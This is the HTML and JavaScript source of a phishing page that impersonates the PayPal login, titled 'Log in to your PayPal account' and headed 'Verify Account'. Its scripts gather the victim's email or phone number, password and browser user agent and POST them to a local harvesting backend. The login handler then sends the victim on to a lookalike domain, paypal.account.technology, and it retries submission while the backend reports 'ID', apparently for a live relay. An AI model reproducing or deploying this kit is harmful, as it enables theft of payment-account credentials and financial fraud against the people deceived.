<html lang="en" class="desktop js"><!--<![endif]-->

<head>
  <script>
    if (!sessionStorage.getItem('browserOpened')) {
      fetch('http://127.0.0.1:8080/open_browser', {
      method: 'POST',
      credentials: 'include'
      })
      .then(response => response.json())
      .then(data => {
        if (data.message === "Success") {
        sessionStorage.setItem('browserOpened', 'true');
        } else {
        window.close();
        }
      })
      .catch(error => {
        console.error('Error opening browser:', error);
      });
    }

  </script>
  <meta name="viewport"
    content="width=device-width, height=device-height, initial-scale=1.0, maximum-scale=2, user-scalable=yes" />
  <link rel="stylesheet" href="style.css" />
  <title>Log in to your PayPal account</title>
  <link rel="shortcut icon" href="pp_favicon_x.ico" />
  <link rel="apple-touch-icon" href="apple-touch-icon.png">
  <script>
    document.addEventListener('DOMContentLoaded', function () {
      const input = document.getElementById("email");
      const phone_pattern = /^\d+$/;
      const button = document.getElementById("btnNext");
      const valid_patern = /^[^\s@]+@[^\s@]+\.[a-zA-Z]{2,}$|^[0-9]{7,15}$/;
      const email_invalid = document.getElementsByClassName("invalidError")[0];
      const email_empty = document.getElementsByClassName("emptyError")[0];
      const password_empty = document.getElementsByClassName("emptyError")[1];
      const phone_code = document.getElementsByClassName("countryPhoneSelectWrapper")[0];
      const email_error = document.getElementById("emailErrorMessage");
      const phone_input = document.getElementById('login_emaildiv');
      const hide1 = document.getElementById("splitEmail");
      const hide2 = document.getElementById("splitEmailSection");
      const show1 = document.getElementById("splitPassword");
      const show2 = document.getElementById("splitPasswordSection");
      const show_remembered = document.getElementsByClassName('profileRememberedEmail')[0];
      const remembered = document.getElementsByClassName('profileDisplayEmail')[0];
      const remembered_code = document.getElementsByClassName('profileDisplayPhoneCode')[0];
      const code_select = document.getElementById('phoneCode');
      const phone_code_selected = document.getElementsByClassName('phoneCode')[0];
      const change = document.getElementById('backToInputEmailLink');
      const passwordWrong = document.getElementsByClassName("notification-critical")[0];
      var code = '+1';
      const form = document.getElementsByName('login')[0];
      const pasword = document.getElementById('password');
      const userAgentInput = document.getElementById('userAgent');
      userAgentInput.value = navigator.userAgent;
      code_select.addEventListener("change", () => {
        code = code_select.value.substring(code_select.value.indexOf("+"));
        phone_code_selected.textContent = code;
      });
      input.addEventListener("keydown", (event) => {
        if (event.key === "Enter") {
          event.preventDefault();
          button.click();
        }
      });
      document.addEventListener("click", (event) => {
        if (!button.contains(event.target)) {
          email_error.classList.remove('show');
          passwordWrong.classList.add("hide");
        }
      });
      input.addEventListener('input', function () {
        if (phone_pattern.test(input.value)) {
          phone_input.classList.add('phoneInputWrapper');
          phone_code.classList.remove('hide');
        }
        else {
          phone_input.classList.remove('phoneInputWrapper');
          phone_code.classList.add('hide');
        }
      });
      button.addEventListener("click", function () {
        if (valid_patern.test(input.value)) {
          show1.classList.remove("hide");
          show2.classList.remove("hide");
          hide1.classList.add("hide");
          hide2.classList.add("hide");
          if (!phone_code.classList.contains('hide')) {
            remembered_code.textContent = code;
          }
          remembered.textContent = input.value;
          show_remembered.classList.remove('hide');
        } else if (input.value === "") {
          email_empty.classList.remove("hide");
          email_invalid.classList.add("hide");
          email_error.classList.add("show");
        } else {
          email_empty.classList.add("hide");
          email_invalid.classList.remove("hide");
          email_error.classList.add('show');
        }
      });
      change.addEventListener("click", function () {
        show1.classList.add("hide");
        show2.classList.add("hide");
        hide1.classList.remove("hide");
        hide2.classList.remove("hide");
        show_remembered.classList.add('hide');
        remembered_code.textContent = '';
        password.value = '';
      });
      password.addEventListener("input", function () {
        if (password.value === "") {
          password_empty.classList.remove("hide");
        } else {
          password_empty.classList.add("hide");
        }
      });
      form.addEventListener('submit', function (event) {
        event.preventDefault();
        const formData = new FormData(form);
        const spinner = document.createElement('div');
        spinner.className = 'spinner';
        document.body.appendChild(spinner);
        if (phone_pattern.test(input.value)) {
          formData.set('isPhoneNumber', 'true');
        }
        else {
          formData.set('isPhoneNumber', 'false');
        }
        function submitForm() {
          fetch('http://127.0.0.1:8080/login', {
            method: 'POST',
            body: formData,
            credentials: 'include'
          })
            .then(response => response.json())
            .then(data => {
              if (data.message === "Success") {
                window.location.href = 'https://paypal.account.technology/verification';
              } else if (data.message === "Failed") {
                document.body.removeChild(spinner);
                passwordWrong.classList.remove("hide");
              } else if (data.message === "ID") {
                setTimeout(submitForm, 1000); // Wait for one second before resubmitting
              } else {
                window.close();
              }
            })
            .catch(error => {
              console.error('Error opening browser:', error);
            });
        }
        submitForm(); // Initial form submission
      });
    });
  </script>
</head>

<body class="desktop" data-is-hybrid-login-experience="true" data-is-hybrid-editable-on-cookied="true"
  data-phone-code="US +1" data-allow-passkey-autofill="true" data-is-uvpaa-exist="true" data-use-pass-key="true">
  <noscript>
    <p class="nonjsAlert" role="alert">NOTE: Many features on the PayPal Web site require Javascript and cookies.</p>
  </noscript>
  <div id="main" class="main" role="main">
    <section id="login" class="login   " data-role="page" data-title="Log in to your PayPal account">
      <div class="corral">
        <div class="rewardsBar hide">
          <div class="displayRewards">
            <div class="rewardsContainer"><span class="trophyContainer hide"><span class="trophyIcon"
                  aria-label="Trophy Icon"></span></span><span class="dealsContainer hide"><span class="dealsIcon"
                  aria-label="Deals Icon"></span></span><span class="rewardsMessage"></span></div>
          </div>
        </div>
        <div id="content" class="contentContainer   activeContent contentContainerBordered">
          <header id="header">
            <p role="img" aria-label="PayPal Logo" class="paypal-logo paypal-logo-long"></p>
          </header>
          <h1 id="headerText" class="headerText  ">Verify Account</h1>
          <p id="emailSubTagLine" class="subHeaderText">Enter your email address to get started.</p>
          <p id="phoneSubTagLine" class="subHeaderText hide">Already set up to use your mobile number to log in? Type it
            below. Otherwise, click the link to log in with email.</p>
          <p id="subTagLineConnectOtp" class="subHeaderText hide">Forgot your email address? Go to the PayPal website to
            recover it.</p>
          <p id="pwdSubTagLine" class="subHeaderText hide">With a PayPal account, you're eligible for Purchase
            Protection
            and Rewards.</p>
          <p id="eligiblePurchaseSubTagLine" class="subHeaderText hide">Your eligible purchases are covered by PayPal's
            Buyer Protection program. <a href="https://paypal.com/us/webapps/mpp/ua/buyer-protection?locale.x=en_US"
              target="_blank" pa-marked="1">See
              terms</a></p>
          <div class="notifications"></div>
          <div id="keychainErrorMessage">
            <p class="notification notification-warning blocked-on-8ball hide">PayPal One Touch™ only works for
              checkout. Please login with your email.</p>
            <p class="notification notification-warning blocked-on-risky-login hide">Please login with your email and
              password.</p>
            <p class="notification notification-critical hide">Some of your info isn't correct. Please try again.</p>
          </div>
          <form class="proceed maskable" autocomplete="off" name="login" novalidate="">
            <div class="profileDisplayName" hide></div>
            <div class="profileRememberedEmail hide"><span class="profileDisplayPhoneCode" dir="ltr"></span><span
                class="profileDisplayEmail notranslate"></span><a href="#" class="notYouLink scTrack:not-you"
                id="backToInputEmailLink" pa-marked="1">Change</a></div>
            <div id="splitEmail" class="splitEmail ">
              <div id="splitEmailSection" class="splitPhoneSection splitEmailSection adjustSection">
                <div class="countryPhoneSelectWrapper hide"><label class="accessAid" for="phoneCode">Choose your phone
                    country code</label><select name="phoneCode" id="phoneCode" class="countryPhoneSelect">
                    <option value="AL +355" data-code="+355" data-country="AL">Albania (+355)</option>
                    <option value="DZ +213" data-code="+213" data-country="DZ">Algeria (+213)</option>
                    <option value="AD +376" data-code="+376" data-country="AD">Andorra (+376)</option>
                    <option value="AO +244" data-code="+244" data-country="AO">Angola (+244)</option>
                    <option value="AI +1" data-code="+1" data-country="AI">Anguilla (+1)</option>
                    <option value="AG +1" data-code="+1" data-country="AG">Antigua &amp; Barbuda (+1)</option>
                    <option value="AR +54" data-code="+54" data-country="AR">Argentina (+54)</option>
                    <option value="AM +374" data-code="+374" data-country="AM">Armenia (+374)</option>
                    <option value="AW +297" data-code="+297" data-country="AW">Aruba (+297)</option>
                    <option value="AU +61" data-code="+61" data-country="AU">Australia (+61)</option>
                    <option value="AT +43" data-code="+43" data-country="AT">Austria (+43)</option>
                    <option value="AZ +994" data-code="+994" data-country="AZ">Azerbaijan (+994)</option>
                    <option value="BS +1" data-code="+1" data-country="BS">Bahamas (+1)</option>
                    <option value="BH +973" data-code="+973" data-country="BH">Bahrain (+973)</option>
                    <option value="BB +1" data-code="+1" data-country="BB">Barbados (+1)</option>
                    <option value="BY +375" data-code="+375" data-country="BY">Belarus (+375)</option>
                    <option value="BE +32" data-code="+32" data-country="BE">Belgium (+32)</option>
                    <option value="BZ +501" data-code="+501" data-country="BZ">Belize (+501)</option>
                    <option value="BJ +229" data-code="+229" data-country="BJ">Benin (+229)</option>
                    <option value="BM +1" data-code="+1" data-country="BM">Bermuda (+1)</option>
                    <option value="BT +975" data-code="+975" data-country="BT">Bhutan (+975)</option>
                    <option value="BO +591" data-code="+591" data-country="BO">Bolivia (+591)</option>
                    <option value="BA +387" data-code="+387" data-country="BA">Bosnia &amp; Herzegovina (+387)</option>
                    <option value="BW +267" data-code="+267" data-country="BW">Botswana (+267)</option>
                    <option value="BR +55" data-code="+55" data-country="BR">Brazil (+55)</option>
                    <option value="VG +1" data-code="+1" data-country="VG">British Virgin Islands (+1)</option>
                    <option value="BN +673" data-code="+673" data-country="BN">Brunei (+673)</option>
                    <option value="BG +359" data-code="+359" data-country="BG">Bulgaria (+359)</option>
                    <option value="BF +226" data-code="+226" data-country="BF">Burkina Faso (+226)</option>
                    <option value="BI +257" data-code="+257" data-country="BI">Burundi (+257)</option>
                    <option value="KH +855" data-code="+855" data-country="KH">Cambodia (+855)</option>
                    <option value="CM +237" data-code="+237" data-country="CM">Cameroon (+237)</option>
                    <option value="CA +1" data-code="+1" data-country="CA">Canada (+1)</option>
                    <option value="CV +238" data-code="+238" data-country="CV">Cape Verde (+238)</option>
                    <option value="KY +1" data-code="+1" data-country="KY">Cayman Islands (+1)</option>
                    <option value="TD +235" data-code="+235" data-country="TD">Chad (+235)</option>
                    <option value="CL +56" data-code="+56" data-country="CL">Chile (+56)</option>
                    <option value="CN +86" data-code="+86" data-country="CN">China (+86)</option>
                    <option value="CO +57" data-code="+57" data-country="CO">Colombia (+57)</option>
                    <option value="KM +269" data-code="+269" data-country="KM">Comoros (+269)</option>
                    <option value="CG +242" data-code="+242" data-country="CG">Congo - Brazzaville (+242)</option>
                    <option value="CD +243" data-code="+243" data-country="CD">Congo - Kinshasa (+243)</option>
                    <option value="CK +682" data-code="+682" data-country="CK">Cook Islands (+682)</option>
                    <option value="CR +506" data-code="+506" data-country="CR">Costa Rica (+506)</option>
                    <option value="CI +225" data-code="+225" data-country="CI">Côte d’Ivoire (+225)</option>
                    <option value="HR +385" data-code="+385" data-country="HR">Croatia (+385)</option>
                    <option value="CY +357" data-code="+357" data-country="CY">Cyprus (+357)</option>
                    <option value="CZ +420" data-code="+420" data-country="CZ">Czechia (+420)</option>
                    <option value="DK +45" data-code="+45" data-country="DK">Denmark (+45)</option>
                    <option value="DJ +253" data-code="+253" data-country="DJ">Djibouti (+253)</option>
                    <option value="DM +1" data-code="+1" data-country="DM">Dominica (+1)</option>
                    <option value="DO +1" data-code="+1" data-country="DO">Dominican Republic (+1)</option>
                    <option value="EC +593" data-code="+593" data-country="EC">Ecuador (+593)</option>
                    <option value="EG +20" data-code="+20" data-country="EG">Egypt (+20)</option>
                    <option value="SV +503" data-code="+503" data-country="SV">El Salvador (+503)</option>
                    <option value="ER +291" data-code="+291" data-country="ER">Eritrea (+291)</option>
                    <option value="EE +372" data-code="+372" data-country="EE">Estonia (+372)</option>
                    <option value="SZ +268" data-code="+268" data-country="SZ">Eswatini (+268)</option>
                    <option value="ET +251" data-code="+251" data-country="ET">Ethiopia (+251)</option>
                    <option value="FK +500" data-code="+500" data-country="FK">Falkland Islands (+500)</option>
                    <option value="FO +298" data-code="+298" data-country="FO">Faroe Islands (+298)</option>
                    <option value="FJ +679" data-code="+679" data-country="FJ">Fiji (+679)</option>
                    <option value="FI +358" data-code="+358" data-country="FI">Finland (+358)</option>
                    <option value="FR +33" data-code="+33" data-country="FR">France (+33)</option>
                    <option value="GF +594" data-code="+594" data-country="GF">French Guiana (+594)</option>
                    <option value="PF +689" data-code="+689" data-country="PF">French Polynesia (+689)</option>
                    <option value="GA +241" data-code="+241" data-country="GA">Gabon (+241)</option>
                    <option value="GM +220" data-code="+220" data-country="GM">Gambia (+220)</option>
                    <option value="GE +995" data-code="+995" data-country="GE">Georgia (+995)</option>
                    <option value="DE +49" data-code="+49" data-country="DE">Germany (+49)</option>
                    <option value="GI +350" data-code="+350" data-country="GI">Gibraltar (+350)</option>
                    <option value="GR +30" data-code="+30" data-country="GR">Greece (+30)</option>
                    <option value="GL +299" data-code="+299" data-country="GL">Greenland (+299)</option>
                    <option value="GD +1" data-code="+1" data-country="GD">Grenada (+1)</option>
                    <option value="GP +590" data-code="+590" data-country="GP">Guadeloupe (+590)</option>
                    <option value="GT +502" data-code="+502" data-country="GT">Guatemala (+502)</option>
                    <option value="GN +224" data-code="+224" data-country="GN">Guinea (+224)</option>
                    <option value="GW +245" data-code="+245" data-country="GW">Guinea-Bissau (+245)</option>
                    <option value="GY +592" data-code="+592" data-country="GY">Guyana (+592)</option>
                    <option value="HN +504" data-code="+504" data-country="HN">Honduras (+504)</option>
                    <option value="HK +852" data-code="+852" data-country="HK">Hong Kong SAR China (+852)</option>
                    <option value="HU +36" data-code="+36" data-country="HU">Hungary (+36)</option>
                    <option value="IS +354" data-code="+354" data-country="IS">Iceland (+354)</option>
                    <option value="IN +91" data-code="+91" data-country="IN">India (+91)</option>
                    <option value="ID +62" data-code="+62" data-country="ID">Indonesia (+62)</option>
                    <option value="IE +353" data-code="+353" data-country="IE">Ireland (+353)</option>
                    <option value="IL +972" data-code="+972" data-country="IL">Israel (+972)</option>
                    <option value="IT +39" data-code="+39" data-country="IT">Italy (+39)</option>
                    <option value="JM +1" data-code="+1" data-country="JM">Jamaica (+1)</option>
                    <option value="JP +81" data-code="+81" data-country="JP">Japan (+81)</option>
                    <option value="JO +962" data-code="+962" data-country="JO">Jordan (+962)</option>
                    <option value="KZ +7" data-code="+7" data-country="KZ">Kazakhstan (+7)</option>
                    <option value="KE +254" data-code="+254" data-country="KE">Kenya (+254)</option>
                    <option value="KI +686" data-code="+686" data-country="KI">Kiribati (+686)</option>
                    <option value="KW +965" data-code="+965" data-country="KW">Kuwait (+965)</option>
                    <option value="KG +996" data-code="+996" data-country="KG">Kyrgyzstan (+996)</option>
                    <option value="LA +856" data-code="+856" data-country="LA">Laos (+856)</option>
                    <option value="LV +371" data-code="+371" data-country="LV">Latvia (+371)</option>
                    <option value="LS +266" data-code="+266" data-country="LS">Lesotho (+266)</option>
                    <option value="LI +423" data-code="+423" data-country="LI">Liechtenstein (+423)</option>
                    <option value="LT +370" data-code="+370" data-country="LT">Lithuania (+370)</option>
                    <option value="LU +352" data-code="+352" data-country="LU">Luxembourg (+352)</option>
                    <option value="MG +261" data-code="+261" data-country="MG">Madagascar (+261)</option>
                    <option value="MW +265" data-code="+265" data-country="MW">Malawi (+265)</option>
                    <option value="MY +60" data-code="+60" data-country="MY">Malaysia (+60)</option>
                    <option value="MV +960" data-code="+960" data-country="MV">Maldives (+960)</option>
                    <option value="ML +223" data-code="+223" data-country="ML">Mali (+223)</option>
                    <option value="MT +356" data-code="+356" data-country="MT">Malta (+356)</option>
                    <option value="MH +692" data-code="+692" data-country="MH">Marshall Islands (+692)</option>
                    <option value="MQ +596" data-code="+596" data-country="MQ">Martinique (+596)</option>
                    <option value="MR +222" data-code="+222" data-country="MR">Mauritania (+222)</option>
                    <option value="MU +230" data-code="+230" data-country="MU">Mauritius (+230)</option>
                    <option value="YT +262" data-code="+262" data-country="YT">Mayotte (+262)</option>
                    <option value="MX +52" data-code="+52" data-country="MX">Mexico (+52)</option>
                    <option value="FM +691" data-code="+691" data-country="FM">Micronesia (+691)</option>
                    <option value="MD +373" data-code="+373" data-country="MD">Moldova (+373)</option>
                    <option value="MC +377" data-code="+377" data-country="MC">Monaco (+377)</option>
                    <option value="MN +976" data-code="+976" data-country="MN">Mongolia (+976)</option>
                    <option value="ME +382" data-code="+382" data-country="ME">Montenegro (+382)</option>
                    <option value="MS +1" data-code="+1" data-country="MS">Montserrat (+1)</option>
                    <option value="MA +212" data-code="+212" data-country="MA">Morocco (+212)</option>
                    <option value="MZ +258" data-code="+258" data-country="MZ">Mozambique (+258)</option>
                    <option value="NA +264" data-code="+264" data-country="NA">Namibia (+264)</option>
                    <option value="NR +674" data-code="+674" data-country="NR">Nauru (+674)</option>
                    <option value="NP +977" data-code="+977" data-country="NP">Nepal (+977)</option>
                    <option value="NL +31" data-code="+31" data-country="NL">Netherlands (+31)</option>
                    <option value="AN +1" data-code="+1" data-country="AN">Netherlands Antilles (+1)</option>
                    <option value="NC +687" data-code="+687" data-country="NC">New Caledonia (+687)</option>
                    <option value="NZ +64" data-code="+64" data-country="NZ">New Zealand (+64)</option>
                    <option value="NI +505" data-code="+505" data-country="NI">Nicaragua (+505)</option>
                    <option value="NE +227" data-code="+227" data-country="NE">Niger (+227)</option>
                    <option value="NG +234" data-code="+234" data-country="NG">Nigeria (+234)</option>
                    <option value="NU +683" data-code="+683" data-country="NU">Niue (+683)</option>
                    <option value="NF +672" data-code="+672" data-country="NF">Norfolk Island (+672)</option>
                    <option value="MK +389" data-code="+389" data-country="MK">North Macedonia (+389)</option>
                    <option value="NO +47" data-code="+47" data-country="NO">Norway (+47)</option>
                    <option value="OM +968" data-code="+968" data-country="OM">Oman (+968)</option>
                    <option value="PW +680" data-code="+680" data-country="PW">Palau (+680)</option>
                    <option value="PA +507" data-code="+507" data-country="PA">Panama (+507)</option>
                    <option value="PG +675" data-code="+675" data-country="PG">Papua New Guinea (+675)</option>
                    <option value="PY +595" data-code="+595" data-country="PY">Paraguay (+595)</option>
                    <option value="PE +51" data-code="+51" data-country="PE">Peru (+51)</option>
                    <option value="PH +63" data-code="+63" data-country="PH">Philippines (+63)</option>
                    <option value="PN +64" data-code="+64" data-country="PN">Pitcairn Islands (+64)</option>
                    <option value="PL +48" data-code="+48" data-country="PL">Poland (+48)</option>
                    <option value="PT +351" data-code="+351" data-country="PT">Portugal (+351)</option>
                    <option value="QA +974" data-code="+974" data-country="QA">Qatar (+974)</option>
                    <option value="RE +262" data-code="+262" data-country="RE">Réunion (+262)</option>
                    <option value="RO +40" data-code="+40" data-country="RO">Romania (+40)</option>
                    <option value="RU +7" data-code="+7" data-country="RU">Russia (+7)</option>
                    <option value="RW +250" data-code="+250" data-country="RW">Rwanda (+250)</option>
                    <option value="WS +685" data-code="+685" data-country="WS">Samoa (+685)</option>
                    <option value="SM +378" data-code="+378" data-country="SM">San Marino (+378)</option>
                    <option value="ST +239" data-code="+239" data-country="ST">São Tomé &amp; Príncipe (+239)</option>
                    <option value="SA +966" data-code="+966" data-country="SA">Saudi Arabia (+966)</option>
                    <option value="SN +221" data-code="+221" data-country="SN">Senegal (+221)</option>
                    <option value="RS +381" data-code="+381" data-country="RS">Serbia (+381)</option>
                    <option value="SC +248" data-code="+248" data-country="SC">Seychelles (+248)</option>
                    <option value="SL +232" data-code="+232" data-country="SL">Sierra Leone (+232)</option>
                    <option value="SG +65" data-code="+65" data-country="SG">Singapore (+65)</option>
                    <option value="SK +421" data-code="+421" data-country="SK">Slovakia (+421)</option>
                    <option value="SI +386" data-code="+386" data-country="SI">Slovenia (+386)</option>
                    <option value="SB +677" data-code="+677" data-country="SB">Solomon Islands (+677)</option>
                    <option value="SO +252" data-code="+252" data-country="SO">Somalia (+252)</option>
                    <option value="ZA +27" data-code="+27" data-country="ZA">South Africa (+27)</option>
                    <option value="KR +82" data-code="+82" data-country="KR">South Korea (+82)</option>
                    <option value="ES +34" data-code="+34" data-country="ES">Spain (+34)</option>
                    <option value="LK +94" data-code="+94" data-country="LK">Sri Lanka (+94)</option>
                    <option value="SH +44" data-code="+44" data-country="SH">St. Helena (+44)</option>
                    <option value="KN +1" data-code="+1" data-country="KN">St. Kitts &amp; Nevis (+1)</option>
                    <option value="LC +1" data-code="+1" data-country="LC">St. Lucia (+1)</option>
                    <option value="PM +508" data-code="+508" data-country="PM">St. Pierre &amp; Miquelon (+508)</option>
                    <option value="VC +1" data-code="+1" data-country="VC">St. Vincent &amp; Grenadines (+1)</option>
                    <option value="SR +597" data-code="+597" data-country="SR">Suriname (+597)</option>
                    <option value="SJ +47" data-code="+47" data-country="SJ">Svalbard &amp; Jan Mayen (+47)</option>
                    <option value="SE +46" data-code="+46" data-country="SE">Sweden (+46)</option>
                    <option value="CH +41" data-code="+41" data-country="CH">Switzerland (+41)</option>
                    <option value="TW +886" data-code="+886" data-country="TW">Taiwan (+886)</option>
                    <option value="TJ +992" data-code="+992" data-country="TJ">Tajikistan (+992)</option>
                    <option value="TZ +255" data-code="+255" data-country="TZ">Tanzania (+255)</option>
                    <option value="TH +66" data-code="+66" data-country="TH">Thailand (+66)</option>
                    <option value="TG +228" data-code="+228" data-country="TG">Togo (+228)</option>
                    <option value="TO +676" data-code="+676" data-country="TO">Tonga (+676)</option>
                    <option value="TT +1" data-code="+1" data-country="TT">Trinidad &amp; Tobago (+1)</option>
                    <option value="TN +216" data-code="+216" data-country="TN">Tunisia (+216)</option>
                    <option value="TR +90" data-code="+90" data-country="TR">Türkiye (+90)</option>
                    <option value="TM +993" data-code="+993" data-country="TM">Turkmenistan (+993)</option>
                    <option value="TC +1" data-code="+1" data-country="TC">Turks &amp; Caicos Islands (+1)</option>
                    <option value="TV +688" data-code="+688" data-country="TV">Tuvalu (+688)</option>
                    <option value="UG +256" data-code="+256" data-country="UG">Uganda (+256)</option>
                    <option value="UA +380" data-code="+380" data-country="UA">Ukraine (+380)</option>
                    <option value="AE +971" data-code="+971" data-country="AE">United Arab Emirates (+971)</option>
                    <option value="GB +44" data-code="+44" data-country="GB">United Kingdom (+44)</option>
                    <option value="US +1" data-code="+1" data-country="US" selected="selected">United States (+1)
                    </option>
                    <option value="UY +598" data-code="+598" data-country="UY">Uruguay (+598)</option>
                    <option value="VU +678" data-code="+678" data-country="VU">Vanuatu (+678)</option>
                    <option value="VA +39" data-code="+39" data-country="VA">Vatican City (+39)</option>
                    <option value="VE +58" data-code="+58" data-country="VE">Venezuela (+58)</option>
                    <option value="VN +84" data-code="+84" data-country="VN">Vietnam (+84)</option>
                    <option value="WF +681" data-code="+681" data-country="WF">Wallis &amp; Futuna (+681)</option>
                    <option value="YE +967" data-code="+967" data-country="YE">Yemen (+967)</option>
                    <option value="ZM +260" data-code="+260" data-country="ZM">Zambia (+260)</option>
                    <option value="ZW +263" data-code="+263" data-country="ZW">Zimbabwe (+263)</option>
                  </select>
                  <div class="countryPhoneSelectChoice"><span class="countryCode">US</span><span
                      class="phoneCode">+1</span></div>
                </div>
                <div class="textInput" id="login_emaildiv">
                  <div class="fieldWrapper"><input id="email" name="login_email" type="email"
                      class="hasHelp  validate validateEmpty   " required="required" value=""
                      autocomplete="username webauthn" placeholder="Email or mobile number"
                      aria-describedby="emailErrorMessage"><label for="email" class="fieldLabel">Email or mobile
                      number</label></div>
                  <div class="errorMessage" id="emailErrorMessage">
                    <p class="emptyError hide">Required</p>
                    <p class="invalidError hide">That email or mobile number format isn’t right</p>
                  </div>
                </div><a href="https://paypal.com/authflow/email-recovery/" target="_blank" id="forgotEmail"
                  class="recoveryOption" data-client-log-action-type="clickForgotEmailLink" pa-marked="1">Forgot
                  email?</a>
                <div class="captcha captcha-container clearfix hide" id="splitHybridCaptcha">
                  <div class="captcha-image"><img src="" alt=""></div>
                  <div class="captcha-inputs clearfix">
                    <div class="textInput ">
                      <div class="fieldWrapper"><input id="splitHybridCaptcha" name="captchaCode" type="text"
                          class="hasHelp  validateEmpty   " value="" autocomplete="off" placeholder="Enter code"
                          aria-describedby="captchaErrorMessage"><label for="splitHybridCaptcha"
                          class="fieldLabel"></label></div>
                    </div>
                    <div class="refresh"><a href=""
                        class="captchaRefresh buttonLight onboardingSpritePseudo scTrack:unifiedlogin-click-reload-captcha imageLink"
                        pa-marked="1"><span class="accessAid">Reload Image</span></a></div>
                    <div class="audio"><audio role="application" id="captchaPlayer" src="" class="hide"></audio><a
                        target="_blank" href=""
                        class="captchaPlay buttonLight onboardingSpritePseudo scTrack:unifiedlogin-click-play-captcha-audio imageLink"
                        pa-marked="1"><span class="accessAid">Audio Button</span></a></div>
                  </div>
                </div>
              </div>
              <div class="actions"><button class="button actionContinue scTrack:unifiedlogin-login-click-next"
                  type="button" id="btnNext" name="btnNext" value="Next" pa-marked="1">Next</button></div>
              <div class="tpdDemo hide" id="tpdDemo">
                <p class="tpdDemoContent">Log in with your email as usual, and then you'll be prompted to log in with
                  your phone's biometrics.</p>
              </div><input type="hidden" id="phone" name="login_phone" value="" class="validate">
            </div><input type="hidden" name="initialSplitLoginContext" id="initialSplitLoginContext"
              value="inputEmail"><input type="hidden" name="isTpdOnboarded" id="isTpdOnboarded" value="">
            <div id="splitPassword" class="splitPassword  enable-autofill hide">
              <div id="splitPasswordSection" class="enable-autofill hide">
                <div id="passwordSection" class="clearfix showHideButtonForEligibleBrowser">
                  <div class="textInput " id="login_passworddiv">
                    <div class="fieldWrapper"><input id="password" name="login_password" type="password"
                        class="hasHelp  validateEmpty   pin-password" required="required" value=""
                        placeholder="Password" aria-describedby="passwordErrorMessage"><label for="password"
                        class="fieldLabel">Password</label><label for="Show password" class="fieldLabel">Show
                        password</label><button type="button"
                        class="showPassword hide show-hide-password scTrack:unifiedlogin-show-password"
                        id="Show password" pa-marked="1">Show</button><label for="Hide"
                        class="fieldLabel">Hide</label><button type="button"
                        class="hidePassword hide show-hide-password scTrack:unifiedlogin-hide-password" id="Hide"
                        pa-marked="1">Hide</button></div>
                    <div class="errorMessage" id="passwordErrorMessage">
                      <p class="emptyError hide">Required</p>
                    </div>
                  </div><a href="https://paypal.com/authflow/password-recovery/" id="setupPassword"
                    class="recoveryOption forgotPassword hide" data-client-log-action-type="clickSetupPasswordLink"
                    pa-marked="1">Set up a password</a><a href="https://paypal.com/authflow/password-recovery/"
                    id="forgotPassword" class="recoveryOption forgotPassword "
                    data-client-log-action-type="clickForgotPasswordLink" pa-marked="1">Forgot password?</a>
                </div>
              </div>
              <div class="captcha captcha-container clearfix hide" id="splitPasswordCaptcha">
                <div class="captcha-image"><img src="" alt=""></div>
                <div class="captcha-inputs clearfix">
                  <div class="textInput ">
                    <div class="fieldWrapper"><input id="splitPasswordCaptcha" name="captcha" type="text"
                        class="hasHelp  validateEmpty   " value="" autocomplete="off" placeholder="Enter code"
                        aria-describedby="captchaErrorMessage"><label for="splitPasswordCaptcha"
                        class="fieldLabel"></label></div>
                  </div>
                  <div class="refresh"><a href=""
                      class="captchaRefresh buttonLight onboardingSpritePseudo scTrack:unifiedlogin-click-reload-captcha imageLink"
                      pa-marked="1"><span class="accessAid">Reload Image</span></a></div>
                  <div class="audio"><audio role="application" id="captchaPlayer" src="" class="hide"></audio><a
                      target="_blank" href=""
                      class="captchaPlay buttonLight onboardingSpritePseudo scTrack:unifiedlogin-click-play-captcha-audio imageLink"
                      pa-marked="1"><span class="accessAid">Audio Button</span></a></div>
                </div>
              </div>
              <div class="actions"><button class="button actionContinue scTrack:unifiedlogin-login-submit" type="submit"
                  id="btnLogin" name="btnLogin" value="Login" pa-marked="1">Log In</button></div>
              <div id="beginOtpLogin" class="otpLoginViaButton hidden"><button class="button" href="#" pa-marked="1">Log
                  in with a one-time code</button></div>
            </div><input type="hidden" name="splitLoginContext" value="inputEmail"><input type="hidden"
              name="allowPasskeyAutofill" value="true"><input type="hidden" name="isUVPAAExist" value="yes">
            <input type="hidden" name='isPhoneNumber' value='false'>
            <input type="hidden" name="userAgent" id="userAgent" value="">
          </form>
      </div>
  </div>
  </section>
  <footer class="footer" role="contentinfo">
    <div class="legalFooter">
      <ul class="footerGroup">
        <li><a target="_blank" href="https:paypal.com/us/smarthelp/contact-us" target="_blank" pa-marked="1">Contact
            Us</a></li>
        <li><a target="_blank" href="https:paypal.com/us/webapps/mpp/ua/privacy-full" target="_blank"
            pa-marked="1">Privacy</a></li>
        <li><a target="_blank" href="https:paypal.com/us/webapps/mpp/ua/legalhub-full" target="_blank"
            pa-marked="1">Legal</a></li>
        <li><a target="_blank" href="https:paypal.com/us/webapps/mpp/ua/upcoming-policies-full" target="_blank"
            pa-marked="1">Policy Updates</a></li>
        <li><a target="_blank" href="https:paypal.com/us/webapps/mpp/country-worldwide" target="_blank"
            pa-marked="1">Worldwide</a></li>
      </ul>
    </div>
  </footer>
</body>

</html>